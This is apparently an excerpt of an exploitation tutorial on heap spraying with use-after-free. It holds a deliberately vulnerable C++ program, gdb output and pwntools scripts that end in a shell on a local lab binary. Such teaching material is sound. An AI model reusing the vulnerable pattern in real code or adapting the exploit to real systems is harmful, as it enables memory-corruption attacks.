...
Code Block | ||||
---|---|---|---|---|
| ||||
from pwn import * #context.log_level = 'debug' sprayRange = 0x5000000 spraySize = 0x10000 sprayCount = sprayRange /spraySize p = process('./poc') sleep(20) for i in xrange(sprayCount): size = spraySize - 0x10 # chunk의 크기 p.recvuntil("Input size:\n") p.send(p32(size)) p.recvuntil("Input contents:\n") buf = 'AAAABBBB' * (size // 8) buf += 'C' * (size - len(buf)) p.send(buf) p.recvuntil("Will you keep typing?(No:0):\n") if i == sprayCount-1: print "Finished Heap spray!\n" p.sendline(str(0)) else: p.sendline(str(1)) p.wait() |
...
Code Block | ||||
---|---|---|---|---|
| ||||
from pwn import * #context.log_level = 'debug' sprayRange = 0x5000000 spraySize = 0x20000 sprayCount = sprayRange /spraySize p = process('./poc') sleep(20) for i in xrange(sprayCount): size = spraySize - 0x10 p.recvuntil("Input size:\n") p.send(p32(size)) p.recvuntil("Input contents:\n") buf = 'AAAABBBB' * (size // 8) buf += 'C' * (size-len(buf)) p.send(buf) p.recvuntil("Will you keep typing?(No:0):\n") if i == sprayCount-1: print "Finished Heap spray!\n" p.sendline(str(0)) else: p.sendline(str(1)) p.wait() |
...
Code Block | ||||
---|---|---|---|---|
| ||||
//g++ -o heapspray heapspray.cpp -ldl #include <stdlib.h> #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <cstring> #include <dlfcn.h> class UAF { char memo[160]; public: UAF(char *memo) { strncpy(this->memo,memo,strlen(this->memo)); } virtual void target() { write(1, this->memo, strlen(this->memo)); } }; void heapSpray(){ int size; char *data; printf("Input size:\n"); read(0, &size, 4); if (size > 0) { printf("Input contents:\n"); data = new char[size]; read(0, data, size); } } int main(){ char memo[160] = {}; void *printf_addr = dlsym(RTLD_NEXT, "printf"); printf("Printf() address : %p\n",printf_addr); printf("Heap spray!\n"); while(1){ char status[2]; heapSpray(); printf("Will you keep typing?(No:0):\n"); read(0,&status,2); if(atoi(status) == 0) break; } printf("Create vtable\n"); read(0, memo, sizeof(memo)); UAF *uaf = new UAF(memo); delete uaf; printf("UAF!\n"); heapSpray(); uaf->target(); return 0; } |
...
Code Block | ||
---|---|---|
| ||
Breakpoint 1, 0x0000000000400b42 in main () gdb-peda$ i r rsi rsi 0x7fffffffe3e0 0x7fffffffe3e0 gdb-peda$ x/gx 0x7fffffffe3e0 0x7fffffffe3e0: 0x000000000a303031 gdb-peda$ set *0x7fffffffe3e0 = 0x64 gdb-peda$ ni 0x0000000000400b47 in main () gdb-peda$ i r rax rax 0x6150a8 0x6150a8 gdb-peda$ i r rbx rbx 0x6150a0 0x6150a0 gdb-peda$ x/4gx 0x0000000000400d40 0x400d40 <_ZTV3UAF+16>: 0x0000000000400bf2 0x00000000006020a0 0x400d50 <_ZTI3UAF+8>: 0x0000000000400d58 0x0000000046415533 gdb-peda$ x/10i 0x0000000000400bf2 0x400bf2x <_ZN3UAF6targetEv>: push rbp 0x400bf3 <_ZN3UAF6targetEv+1>: mov rbp,rsp 0x400bf6 <_ZN3UAF6targetEv+4>: sub rsp,0x10 0x400bfa <_ZN3UAF6targetEv+8>: mov QWORD PTR [rbp-0x8],rdi 0x400bfe <_ZN3UAF6targetEv+12>: mov rax,QWORD PTR [rbp-0x8] 0x400c02 <_ZN3UAF6targetEv+16>: add rax,0x8 0x400c06 <_ZN3UAF6targetEv+20>: mov rdi,rax 0x400c09 <_ZN3UAF6targetEv+23>: call 0x400860 <strlen@plt> 0x400c0e <_ZN3UAF6targetEv+28>: mov rdx,rax 0x400c11 <_ZN3UAF6targetEv+31>: mov rax,QWORD PTR [rbp-0x8] gdb-peda$ c Continuing. |
...
Code Block | ||||
---|---|---|---|---|
| ||||
from pwn import * #context.log_level = 'debug' startBrk = 0x602000 spraySize = 0x10000 sprayRange = 0x5000000 sprayCount = sprayRange /spraySize targetOffset = 0x400 target = startBrk + sprayRange + targetOffset p = process('./testheapspray') #sleep(20) p.recvuntil("Printf() address : ") libcAddr = p.recvuntil('\n') libcAddr = int(libcAddr,16) libcBase = libcAddr - 0x55800 oneGadget = libcBase + 0xf02a4 log.info('target : '+hex(target)) log.info('libcBase Addr : '+hex(libcBase)) log.info('oneGadget Addr : '+hex(oneGadget)) for i in xrange(sprayCount): size = spraySize - 0x10 p.recvuntil("Input size:\n") p.send(p32(size)) p.recvuntil("Input contents:\n") buf = p64(oneGadget) * (size // 8) buf += 'A' * (size-len(buf)) p.send(buf) p.recvuntil("Will you keep typing?(No:0):\n") if i == sprayCount-1: print "Finished Heap spray!\n" p.sendline(str(0)) else: p.sendline(str(1)) p.recvuntil("Create vtable\n") p.send("Hello Heap spray & UAF") p.recvuntil("Input size:\n") p.send(p32(160)) p.recvuntil("Input contents:\n") buf = p64(target) * (160 // 8) buf += 'C' * (160-len(buf)) p.send(buf) p.interactive() |
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~/Exploit/11.Heap Spray$ python exploit.py [+] Starting local process './heapspray': pid 25405 [*] target : 0x5602400 [*] libcBase Addr : 0x7fc228a49000 [*] oneGadget Addr : 0x7fc228b392a4 Finished Heap spray! [*] Switching to interactive mode $ id uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) $ |
References
- https://en.wikipedia.org/wiki/Heap_spraying
- http://index-of.co.uk/Reverse-Engineering/Heap%20Spray%20%5Bforce%5D.pdf
- http://inaz2.hatenablog.com/entry/2015/03/02/014252
- http://pjongy.tistory.com/132
- http://truthtilltheend.tistory.com/entry/%ED%9E%99-%EC%8A%A4%ED%94%84%EB%A0%88%EC%9D%B4Heap-Spray-%EA%B8%B0%EB%B2%95
- http://hackability.kr/entry/%EC%9D%B5%EC%8A%A4%ED%94%8C%EB%A1%9C%EC%9E%87-%EA%B0%9C%EB%B0%9C-11-Exploitme5-%ED%9E%99-%EC%8A%A4%ED%94%84%EB%A0%88%EC%9E%89-UAF
...